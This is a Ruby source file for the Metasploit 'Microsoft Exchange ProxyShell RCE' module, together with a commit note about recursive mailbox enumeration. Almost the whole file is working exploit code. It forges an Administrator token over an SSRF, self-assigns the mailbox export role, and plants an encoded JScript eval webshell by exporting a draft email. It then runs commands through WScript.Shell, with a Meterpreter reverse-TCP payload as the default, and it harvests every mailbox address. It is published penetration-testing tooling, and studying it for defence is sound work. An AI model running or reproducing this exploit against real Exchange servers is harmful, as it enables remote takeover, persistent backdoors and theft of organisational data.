96da805014
The ResolveNames endpoint used to gather emails addresses for targeting only returns 100 at a time. This updates the module to check if the search result contains all entries and when it does, it recurses into itself with a refined search prefix. All results are returned to match the original functionality instead of enumerating and halting once one that's suitable for exploitation has been found.
559 lines
21 KiB
Ruby
559 lines
21 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft Exchange ProxyShell RCE',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability on Microsoft Exchange Server that
|
|
allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an
|
|
arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve
|
|
the RCE (Remote Code Execution).
|
|
|
|
By taking advantage of this vulnerability, you can execute arbitrary
|
|
commands on the remote Microsoft Exchange Server.
|
|
|
|
This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,
|
|
Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,
|
|
Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.
|
|
|
|
All components are vulnerable by default.
|
|
},
|
|
'Author' => [
|
|
'Orange Tsai', # Discovery
|
|
'Jang (@testanull)', # Vulnerability analysis
|
|
'PeterJson', # Vulnerability analysis
|
|
'brandonshi123', # Vulnerability analysis
|
|
'mekhalleh (RAMELLA Sébastien)', # exchange_proxylogon_rce template
|
|
'Donny Maasland', # Procedure optimizations (email enumeration)
|
|
'Rich Warren', # Procedure optimizations (email enumeration)
|
|
'Spencer McIntyre', # Metasploit module
|
|
'wvu' # Testing
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2021-34473' ],
|
|
[ 'CVE', '2021-34523' ],
|
|
[ 'CVE', '2021-31207' ],
|
|
[ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],
|
|
[ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],
|
|
[ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ],
|
|
[ 'URL', 'https://github.com/dmaasland/proxyshell-poc' ]
|
|
],
|
|
'DisclosureDate' => '2021-04-06', # pwn2own 2021
|
|
'License' => MSF_LICENSE,
|
|
'DefaultOptions' => {
|
|
'RPORT' => 443,
|
|
'SSL' => true
|
|
},
|
|
'Platform' => ['windows'],
|
|
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'Windows Powershell',
|
|
{
|
|
'Platform' => 'windows',
|
|
'Arch' => [ARCH_X64, ARCH_X86],
|
|
'Type' => :windows_powershell,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows Dropper',
|
|
{
|
|
'Platform' => 'windows',
|
|
'Arch' => [ARCH_X64, ARCH_X86],
|
|
'Type' => :windows_dropper,
|
|
'CmdStagerFlavor' => %i[psh_invokewebrequest],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
|
|
'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows Command',
|
|
{
|
|
'Platform' => 'windows',
|
|
'Arch' => [ARCH_CMD],
|
|
'Type' => :windows_command,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
|
'AKA' => ['ProxyShell'],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('EMAIL', [false, 'A known email address for this organization']),
|
|
OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),
|
|
OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),
|
|
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
|
|
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
|
|
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
|
|
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
@ssrf_email ||= Faker::Internet.email
|
|
res = send_http('GET', '/mapi/nspi/')
|
|
return CheckCode::Unknown if res.nil?
|
|
return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'
|
|
|
|
CheckCode::Vulnerable
|
|
end
|
|
|
|
def cmd_windows_generic?
|
|
datastore['PAYLOAD'] == 'cmd/windows/generic'
|
|
end
|
|
|
|
def encode_cmd(cmd)
|
|
cmd.gsub!('\\', '\\\\\\')
|
|
cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')
|
|
end
|
|
|
|
def random_mapi_id
|
|
id = "{#{Rex::Text.rand_text_hex(8)}"
|
|
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
|
|
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
|
|
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
|
|
id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"
|
|
id.upcase
|
|
end
|
|
|
|
def request_autodiscover(email)
|
|
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }
|
|
|
|
response = send_http(
|
|
'POST',
|
|
'/autodiscover/autodiscover.xml',
|
|
data: XMLTemplate.render('soap_autodiscover', email: email),
|
|
ctype: 'text/xml; charset=utf-8'
|
|
)
|
|
|
|
case response.body
|
|
when %r{<ErrorCode>500</ErrorCode>}
|
|
fail_with(Failure::NotFound, 'No Autodiscover information was found')
|
|
when %r{<Action>redirectAddr</Action>}
|
|
fail_with(Failure::NotFound, 'No email address was found')
|
|
end
|
|
|
|
xml = Nokogiri::XML.parse(response.body)
|
|
|
|
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
|
|
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?
|
|
|
|
server = ''
|
|
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
|
|
type = item.at_xpath('./xmlns:Type', xmlns)&.content
|
|
if type == 'EXCH'
|
|
server = item.at_xpath('./xmlns:Server', xmlns)&.content
|
|
end
|
|
end
|
|
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
|
|
|
|
{ server: server, legacy_dn: legacy_dn }
|
|
end
|
|
|
|
def request_fqdn
|
|
ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
received = send_request_raw(
|
|
'method' => 'RPC_IN_DATA',
|
|
'uri' => normalize_uri('rpc', 'rpcproxy.dll'),
|
|
'headers' => {
|
|
'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"
|
|
}
|
|
)
|
|
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
|
|
|
|
if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)
|
|
hash = received['WWW-Authenticate'].split('NTLM ')[1]
|
|
message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
|
|
dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]
|
|
|
|
return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase
|
|
end
|
|
|
|
fail_with(Failure::NotFound, 'No Backend server was found')
|
|
end
|
|
|
|
# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
|
|
def request_mapi(legacy_dn)
|
|
data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
|
|
headers = {
|
|
'X-RequestType' => 'Connect',
|
|
'X-ClientInfo' => random_mapi_id,
|
|
'X-ClientApplication' => datastore['MapiClientApp'],
|
|
'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"
|
|
}
|
|
|
|
sid = ''
|
|
response = send_http(
|
|
'POST',
|
|
'/mapi/emsmdb',
|
|
data: data,
|
|
ctype: 'application/mapi-http',
|
|
headers: headers
|
|
)
|
|
if response&.code == 200
|
|
sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s
|
|
end
|
|
fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?
|
|
|
|
sid
|
|
end
|
|
|
|
def get_sid_for_email(email)
|
|
autodiscover = request_autodiscover(email)
|
|
request_mapi(autodiscover[:legacy_dn])
|
|
end
|
|
|
|
# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.
|
|
def exploit_setup
|
|
if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?
|
|
server_name = datastore['BackendServerName']
|
|
print_status("Internal server name forced to: #{server_name}")
|
|
else
|
|
print_status('Retrieving backend FQDN over RPC request')
|
|
server_name = request_fqdn
|
|
print_status("Internal server name: #{server_name}")
|
|
end
|
|
@backend_server_name = server_name
|
|
|
|
get_common_access_token
|
|
print_good('Successfully assigned the \'Mailbox Import Export\' role')
|
|
print_good("Proceeding with SID: #{@mailbox_user_sid} (#{@mailbox_user_email})")
|
|
end
|
|
|
|
def probe_powershell_backend(common_access_token)
|
|
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}")
|
|
fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200
|
|
end
|
|
|
|
# this function doesn't return unless it's successful
|
|
def get_common_access_token
|
|
# get a SID from the specified email address
|
|
email_address = datastore['EMAIL']
|
|
unless email_address.blank?
|
|
sid = get_sid_for_email(email_address)
|
|
vprint_status("SID: #{sid} (#{email_address})")
|
|
common_access_token = build_token(sid)
|
|
probe_powershell_backend(common_access_token)
|
|
|
|
print_status("Assigning the 'Mailbox Import Export' role via #{email_address}")
|
|
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
|
|
{ name: '-Role', value: 'Mailbox Import Export' },
|
|
{ name: '-User', value: email_address }
|
|
])
|
|
unless role_assigned
|
|
fail_with(Failure::BadConfig, 'The specified email address does not have the \'Mailbox Import Export\' role and can not self-assign it')
|
|
end
|
|
|
|
@mailbox_user_sid = sid
|
|
@mailbox_user_email = email_address
|
|
@common_access_token = common_access_token
|
|
return
|
|
end
|
|
|
|
print_status('Enumerating valid email addresses and searching for one that either has the \'Mailbox Import Export\' role or can self-assign it')
|
|
get_emails.each do |this_email_address|
|
|
next if this_email_address == email_address # already tried this one
|
|
|
|
vprint_status("Reattempting to assign the 'Mailbox Import Export' role via #{this_email_address}")
|
|
begin
|
|
this_sid = get_sid_for_email(this_email_address)
|
|
rescue RuntimeError
|
|
print_error("Failed to identify the SID for #{this_email_address}")
|
|
next
|
|
end
|
|
|
|
common_access_token = build_token(this_sid)
|
|
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
|
|
{ name: '-Role', value: 'Mailbox Import Export' },
|
|
{ name: '-User', value: this_email_address }
|
|
])
|
|
next unless role_assigned
|
|
|
|
@mailbox_user_sid = this_sid
|
|
@mailbox_user_email = this_email_address
|
|
@common_access_token = common_access_token
|
|
return # rubocop:disable Lint/NonLocalExitFromIterator
|
|
end
|
|
|
|
fail_with(Failure::NoAccess, 'No user with the necessary management role was identified')
|
|
end
|
|
|
|
def send_http(method, uri, opts = {})
|
|
ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"
|
|
opts[:cookie] = "Email=#{ssrf}"
|
|
super(method, "/#{ssrf}#{uri}", opts)
|
|
end
|
|
|
|
def get_emails
|
|
mailbox_table = Rex::Text::Table.new(
|
|
'Header' => 'Exchange Mailboxes',
|
|
'Columns' => %w[EmailAddress Name RoutingType MailboxType]
|
|
)
|
|
|
|
MailboxEnumerator.new(self).each do |row|
|
|
mailbox_table << row
|
|
end
|
|
|
|
print_status("Enumerated #{mailbox_table.rows.length} email addresses")
|
|
stored_path = store_loot('ad.exchange.mailboxes', 'text/csv', rhost, mailbox_table.to_csv)
|
|
print_status("Saved mailbox and email address data to: #{stored_path}")
|
|
|
|
mailbox_table.rows.map(&:first)
|
|
end
|
|
|
|
def create_embedded_draft(user_sid)
|
|
@shell_input_name = rand_text_alphanumeric(8..12)
|
|
@draft_subject = rand_text_alphanumeric(8..12)
|
|
print_status("Saving a draft email with subject '#{@draft_subject}' containing the attachment with the embedded webshell")
|
|
payload = Rex::Text.encode_base64(PstEncoding.encode("#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{@shell_input_name}\"],\"unsafe\");}</script>"))
|
|
file_name = "#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}"
|
|
envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)
|
|
|
|
send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
|
|
end
|
|
|
|
def web_directory
|
|
if datastore['UseAlternatePath']
|
|
datastore['IISWritePath'].gsub('\\', '/')
|
|
else
|
|
datastore['ExchangeWritePath'].gsub('\\', '/')
|
|
end
|
|
end
|
|
|
|
def build_token(sid)
|
|
uint8_tlv = proc do |type, value|
|
|
type + [value.length].pack('C') + value
|
|
end
|
|
|
|
token = uint8_tlv.call('V', "\x00")
|
|
token << uint8_tlv.call('T', 'Windows')
|
|
token << "\x43\x00"
|
|
token << uint8_tlv.call('A', 'Kerberos')
|
|
token << uint8_tlv.call('L', 'Administrator')
|
|
token << uint8_tlv.call('U', sid)
|
|
|
|
# group data for S-1-5-32-544
|
|
token << "\x47\x01\x00\x00\x00\x07\x00\x00\x00\x0c\x53\x2d\x31\x2d\x35\x2d\x33\x32\x2d\x35\x34\x34\x45\x00\x00\x00\x00"
|
|
Rex::Text.encode_base64(token)
|
|
end
|
|
|
|
def exploit
|
|
@ssrf_email ||= Faker::Internet.email
|
|
print_status('Attempt to exploit for CVE-2021-34473')
|
|
exploit_setup
|
|
|
|
create_embedded_draft(@mailbox_user_sid)
|
|
@shell_filename = "#{rand_text_alphanumeric(8..12)}.aspx"
|
|
if datastore['UseAlternatePath']
|
|
unc_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"
|
|
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
|
|
else
|
|
unc_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"
|
|
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
|
|
end
|
|
|
|
normal_path = unc_path.gsub(/^\\+[\w.-]+\\(.)\$\\/, '\1:\\')
|
|
print_status("Writing to: #{normal_path}")
|
|
register_file_for_cleanup(normal_path)
|
|
|
|
@export_name = rand_text_alphanumeric(8..12)
|
|
successful = execute_powershell('New-MailboxExportRequest', cat: @common_access_token, args: [
|
|
{ name: '-Name', value: @export_name },
|
|
{ name: '-Mailbox', value: @mailbox_user_email },
|
|
{ name: '-IncludeFolders', value: '#Drafts#' },
|
|
{ name: '-ContentFilter', value: "(Subject -eq '#{@draft_subject}')" },
|
|
{ name: '-ExcludeDumpster' },
|
|
{ name: '-FilePath', value: unc_path }
|
|
])
|
|
fail_with(Failure::UnexpectedReply, 'The mailbox export request failed') unless successful
|
|
|
|
exported = false
|
|
print_status('Waiting for the export request to complete...')
|
|
30.times do
|
|
sleep 5
|
|
next unless send_request_cgi('uri' => normalize_uri(web_directory, @shell_filename))&.code == 200
|
|
|
|
print_good('The mailbox export request has completed')
|
|
exported = true
|
|
break
|
|
end
|
|
|
|
fail_with(Failure::Unknown, 'The mailbox export request timed out') unless exported
|
|
|
|
print_status('Triggering the payload')
|
|
case target['Type']
|
|
when :windows_command
|
|
vprint_status("Generated payload: #{payload.encoded}")
|
|
|
|
if !cmd_windows_generic?
|
|
execute_command(payload.encoded)
|
|
else
|
|
boundary = rand_text_alphanumeric(8..12)
|
|
response = execute_command("cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}")
|
|
|
|
print_warning('Dumping command output in response')
|
|
if response.body =~ /START#{boundary}(.*)END#{boundary}/m
|
|
print_line(Regexp.last_match(1).strip)
|
|
else
|
|
print_error('Empty response, no command output')
|
|
end
|
|
end
|
|
when :windows_dropper
|
|
execute_command(generate_cmdstager(concat_operator: ';').join)
|
|
when :windows_powershell
|
|
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
|
|
execute_command(cmd)
|
|
end
|
|
end
|
|
|
|
def cleanup
|
|
super
|
|
return unless @common_access_token && @export_name
|
|
|
|
print_status('Removing the mailbox export request')
|
|
execute_powershell('Remove-MailboxExportRequest', cat: @common_access_token, args: [
|
|
{ name: '-Identity', value: "#{@mailbox_user_email}\\#{@export_name}" },
|
|
{ name: '-Confirm', value: false }
|
|
])
|
|
|
|
print_status('Removing the draft email')
|
|
execute_powershell('Search-Mailbox', cat: @common_access_token, args: [
|
|
{ name: '-Identity', value: @mailbox_user_email },
|
|
{ name: '-SearchQuery', value: "Subject:\"#{@draft_subject}\"" },
|
|
{ name: '-Force' },
|
|
{ name: '-DeleteContent' }
|
|
])
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
if !cmd_windows_generic?
|
|
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"
|
|
else
|
|
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"
|
|
end
|
|
|
|
send_request_raw(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(web_directory, @shell_filename),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'data' => "#{@shell_input_name}=#{cmd}"
|
|
)
|
|
end
|
|
end
|
|
|
|
# Use https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/resolvenames to resolve mailbox
|
|
# information. The endpoint only returns 100 at a time though so if the target has more than that many email addresses
|
|
# multiple requests will need to be made. Since the endpoint doesn't support pagination, we refine the query by using
|
|
# progressively larger search prefixes until there are less than 101 results and thus will fit into a single response.
|
|
class MailboxEnumerator
|
|
def initialize(mod)
|
|
@mod = mod
|
|
end
|
|
|
|
# the characters that Exchange Server 2019 allows in an alias (no unicode)
|
|
ALIAS_CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'*+-/=?^_`{|}~'.freeze
|
|
XML_NS = {
|
|
'm' => 'http://schemas.microsoft.com/exchange/services/2006/messages',
|
|
't' => 'http://schemas.microsoft.com/exchange/services/2006/types'
|
|
}.freeze
|
|
|
|
include Enumerable
|
|
XMLTemplate = Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell::XMLTemplate
|
|
|
|
def each(name: 'SMTP:', &block)
|
|
envelope = XMLTemplate.render('soap_getemails', name: name)
|
|
res = @mod.send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
|
|
return unless res&.code == 200
|
|
|
|
if res.get_xml_document.xpath('//m:ResolutionSet/@IncludesLastItemInRange', XML_NS).first&.text&.downcase == 'false'
|
|
ALIAS_CHARSET.each_char do |char|
|
|
each(name: name + char, &block)
|
|
end
|
|
else
|
|
res.get_xml_document.xpath('//t:Mailbox', XML_NS).each do |mailbox|
|
|
yield %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, XML_NS)&.text || '' }
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
class PstEncoding
|
|
ENCODE_TABLE = [
|
|
71, 241, 180, 230, 11, 106, 114, 72,
|
|
133, 78, 158, 235, 226, 248, 148, 83,
|
|
224, 187, 160, 2, 232, 90, 9, 171,
|
|
219, 227, 186, 198, 124, 195, 16, 221,
|
|
57, 5, 150, 48, 245, 55, 96, 130,
|
|
140, 201, 19, 74, 107, 29, 243, 251,
|
|
143, 38, 151, 202, 145, 23, 1, 196,
|
|
50, 45, 110, 49, 149, 255, 217, 35,
|
|
209, 0, 94, 121, 220, 68, 59, 26,
|
|
40, 197, 97, 87, 32, 144, 61, 131,
|
|
185, 67, 190, 103, 210, 70, 66, 118,
|
|
192, 109, 91, 126, 178, 15, 22, 41,
|
|
60, 169, 3, 84, 13, 218, 93, 223,
|
|
246, 183, 199, 98, 205, 141, 6, 211,
|
|
105, 92, 134, 214, 20, 247, 165, 102,
|
|
117, 172, 177, 233, 69, 33, 112, 12,
|
|
135, 159, 116, 164, 34, 76, 111, 191,
|
|
31, 86, 170, 46, 179, 120, 51, 80,
|
|
176, 163, 146, 188, 207, 25, 28, 167,
|
|
99, 203, 30, 77, 62, 75, 27, 155,
|
|
79, 231, 240, 238, 173, 58, 181, 89,
|
|
4, 234, 64, 85, 37, 81, 229, 122,
|
|
137, 56, 104, 82, 123, 252, 39, 174,
|
|
215, 189, 250, 7, 244, 204, 142, 95,
|
|
239, 53, 156, 132, 43, 21, 213, 119,
|
|
52, 73, 182, 18, 10, 127, 113, 136,
|
|
253, 157, 24, 65, 125, 147, 216, 88,
|
|
44, 206, 254, 36, 175, 222, 184, 54,
|
|
200, 161, 128, 166, 153, 152, 168, 47,
|
|
14, 129, 101, 115, 228, 194, 162, 138,
|
|
212, 225, 17, 208, 8, 139, 42, 242,
|
|
237, 154, 100, 63, 193, 108, 249, 236
|
|
].freeze
|
|
|
|
def self.encode(data)
|
|
encoded = ''
|
|
data.each_char do |char|
|
|
encoded << ENCODE_TABLE[char.ord].chr
|
|
end
|
|
encoded
|
|
end
|
|
end
|